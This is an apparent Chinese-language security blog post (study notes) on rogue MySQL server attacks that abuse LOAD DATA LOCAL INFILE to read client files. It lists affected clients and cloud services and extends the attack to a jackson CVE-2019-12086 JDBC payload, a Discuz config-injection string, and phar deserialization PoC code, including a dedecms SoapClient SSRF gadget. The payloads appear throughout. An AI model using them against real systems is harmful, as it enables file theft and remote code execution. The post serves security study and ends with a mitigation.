Mysql Client 任意文件读取攻击链拓展

2021-04-15 11:09:15 浏览数 (1)

Load data infile

首先认识一下一个语法:

Load data infile

我们看下mysql手册是如何定义的。

代码语言:javascript复制
LOAD DATA
    [LOW_PRIORITY | CONCURRENT] [LOCAL]
    INFILE 'file_name'
    [REPLACE | IGNORE]
    INTO TABLE tbl_name
    [PARTITION (partition_name [, partition_name] ...)]
    [CHARACTER SET charset_name]
    [{FIELDS | COLUMNS}
        [TERMINATED BY 'string']
        [[OPTIONALLY] ENCLOSED BY 'char']
        [ESCAPED BY 'char']
    ]
    [LINES
        [STARTING BY 'string']
        [TERMINATED BY 'string']
    ]
    [IGNORE number {LINES | ROWS}]
    [(col_name_or_user_var
        [, col_name_or_user_var] ...)]
    [SET col_name={expr | DEFAULT},
        [, col_name={expr | DEFAULT}] ...]

基本用法(导入文件test.txt到table1表中,txt文件中的行分隔符为rn,默认tab键为字段分隔符,txt文件中的每个字段按顺序对应column1、column2,。。。导入表中)

代码语言:javascript复制
load data infile "/test.txt" into table1 lines terminated by 'rn' (colunm1,colunm2,...)

如果字段分隔符不是tab,可加入:fields terminated by ‘分隔符’

知道了该语法的基本用法之后,我们看一下在渗透中的用法,也就是读文件。

代码语言:javascript复制
load data infile "C:2.txt" into table test FIELDS TERMINATED BY 'n';

不过需要file权限以及收到 --secure-file-priv的限制。

加入local之后就可以了

说明:MySQl的版本不得低于3.22.15,否则load data local不起作用,以及local_infile参数为on

流程

网上有很多相关的原理我这里就不过多赘述了,然后原理懂得之后,我们其实就可以进行利用了。一张图了解大概的流程;

然后我这里使用phpstudy的phpmyadmin做演示,嫌麻烦的可以用vulnspy的在线环境,

需要的是操作步骤:修改phpMyAdmin目录下的 /libraries/config.default.php

代码语言:javascript复制
/**
 * allow login to any user entered server in cookie based authentication
 *
 * @global boolean $cfg[‘AllowArbitraryServer’]
 */
$cfg[‘AllowArbitraryServer’] = true;

将默认值false修改为true;

POC

然后远程启动rogue_mysql_server,在phpmyadmin的登录处填写自己的恶意服务器地址,帐号密码随意,即可获取到读取的文件(在恶意mysql中自行制定),在本目录下生成mysql.log文件,里面包含读取到的文件内容

影响范围

下面是一些受影响的范围:

底层应用

客户端

是否影响

mysql client 1

pwned

php mysqli

pwned,fixed by 7.3.4

php pdo

默认禁用

python MySQLdb

pwned

python mysqlclient

pwned

java JDBC Driver

pwned,部分条件下默认禁用

navicat

pwned

探针

探针名称

是否影响

雅黑PHP探针

失败

iprober2 探针

失败

PHP探针 for LNMP一键安装包

失败

UPUPW PHP 探针

失败

云服务商 云数据库 数据迁移服务

服务商

是否影响

腾讯云 DTS

失败 禁用Load data local

阿里云 RDS 数据迁移

失败 禁用Load data local

华为云 RDS DRS服务

成功

京东云 RDS

不支持远程迁移功能分布式关系数据库未开放

UCloud RDS

不支持远程迁移功能,分布式关系数据库不能对外数据同步

QiNiu云 RDS

不支持远程迁移功能

新睿云 RDS

不支持远程迁移功能

网易云 RDS

外部实例迁移 成功

金山云 RDS DTS数据迁移

成功

青云Cloud RDS

数据导入 失败,禁用load data local

百度Cloud RDS

DTS 成功

Google could SQL数据库

迁移失败 禁用Load data infile

AWS RDS

DMS服务 成功

Excel online sql查询

header 1

header 2

WPS

failed(没找到这个功能)

Microsoft excel

failed(禁用了infile语句)

Google 表格 插件Supermetrics

pwned

Advanced CFO Solutions

MySQL Query failed

SeekWell

failed

Skyvia Query Gallery

failed

database Borwser

failed

Kloudio

pwned

拓展

CVE-2019-12086 jackson任意文件读取漏洞

CVE-2019-12086:在2.9.9之前的FasterXML jackson-databind 2.x中发现了漏洞。在开启Default Typing的情况下,且classpath中存在mysql-connector-java 8.0.15版本(2019.2.1发布)以下,攻击者可以通过发送恶意json数据读取任意文件。mysql-connector-java这个库就是连接数据库时常用的mysql jdbc。这是因为缺少com.mysql.cj.jdbc.admin.MiniAdmin验证。

其实这个漏洞主要还是Mysql的锅,在com.mysql.cj.jdbc.admin.MiniAdmin的构造函数接受一个string的值,这个值代表jdbcURL,com.mysql.cj.jdbc.admin.MiniAdmin类在初始化会连接这个jdbcURL中指定的MySQL数据库。

payload:

代码语言:javascript复制
["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"]

任意文件读 with 配置文件泄露

在Discuz x3.4的配置中存在这样两个文件

代码语言:javascript复制
config/config_ucenter.php
config/config_global.php

在dz的后台,有一个ucenter的设置功能,这个功能中提供了ucenter的数据库服务器配置功能,通过配置数据库链接恶意服务器,可以实现任意文件读取获取配置信息。

配置ucenter的访问地址。

代码语言:javascript复制
原地址:http://localhost:8086/upload/uc_server
修改为:http://localhost:8086/upload/uc_server');phpinfo();//

当我们获得了authkey之后,我们可以通过admin的uid以及盐来计算admin的cookie。然后用admin的cookie以及UC_KEY来访问即可生效

任意文件读 to 反序列化

2018年BlackHat大会上的Sam Thomas分享的File Operation Induced Unserialization via the “phar://” Stream Wrapper议题,原文https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf 。

在该议题中提到,在PHP中存在一个叫做Stream API,通过注册拓展可以注册相应的伪协议,而phar这个拓展就注册了phar://这个stream wrapper。

首先需要一个生成一个phar

代码语言:javascript复制
pphar.php
<?php
class A {
    public $s = '';
    public function __wakeup () {
        echo "pwned!!";
    }
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a "."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new A();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

使用该文件生成一个phar.phar

然后我们模拟一次查询

代码语言:javascript复制
test.php
<?php
class A {
    public $s = '';
    public function __wakeup () {
        echo "pwned!!";
    }
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, '{evil_mysql_ip}', 'root', '123456', 'test', 3667);
$p = mysqli_query($m, 'select 1;');
// file_get_contents('phar://./phar.phar');

图中我们只做了select 1查询,但我们伪造的evil mysql server中驱使mysql client去做load file local查询,读取了本地的

代码语言:javascript复制
phar://./phar.phar

成功触发反序列化

反序列化 to RCE

当一个反序列化漏洞出现的时候,我们就需要从源代码中去寻找合适的pop链,建立在pop链的利用基础上,我们可以进一步的扩大反序列化漏洞的危害。

php序列化中常见的魔术方法有以下

•当对象被创建的时候调用:__construct•当对象被销毁的时候调用:__destruct•当对象被当作一个字符串使用时候调用:__toString•序列化对象之前就调用此方法(其返回需要是一个数组):__sleep•反序列化恢复对象之前就调用此方法:__wakeup•当调用对象中不存在的方法会自动调用此方法:__call•配合与之相应的pop链,我们就可以把反序列化转化为RCE。

dedecms 后台反序列化漏洞 to SSRF

dedecms 后台,模块管理,安装UCenter模块。开始配置

首先需要找一个确定的UCenter服务端,可以通过找一个dz的站来做服务端。

然后就会触发任意文件读取,当然,如果读取文件为phar,则会触发反序列化。

我们需要先生成相应的phar

代码语言:javascript复制
<?php
class Control
{
    var $tpl;
    // $a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa'));
    public $dsql;
    function __construct(){
        $this->dsql = new SoapClient(null,array('uri'=>'http://xxxx:5555', 'location'=>'http://xxxx:5555/aaa'));
    }
    function __destruct() {
        unset($this->tpl);
        $this->dsql->Close(TRUE);
    }
}
@unlink("dedecms.phar");
$phar = new Phar("dedecms.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new Control();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

然后我们可以直接通过前台上传头像来传文件,或者直接后台也有文件上传接口,然后将rogue mysql server来读取这个文件

代码语言:javascript复制
phar://./dedecms.phar/test.txt

监听5555可以收到

修复方式

对于大多数mysql的客户端来说,load file local是一个无用的语句,他的使用场景大多是用于传输数据或者上传数据等。对于客户端来说,可以直接关闭这个功能,并不会影响到正常的使用。

都是学习笔记,原文地址:https://www.lorexxar.cn/2020/01/14/css-mysql-chain/

0 人点赞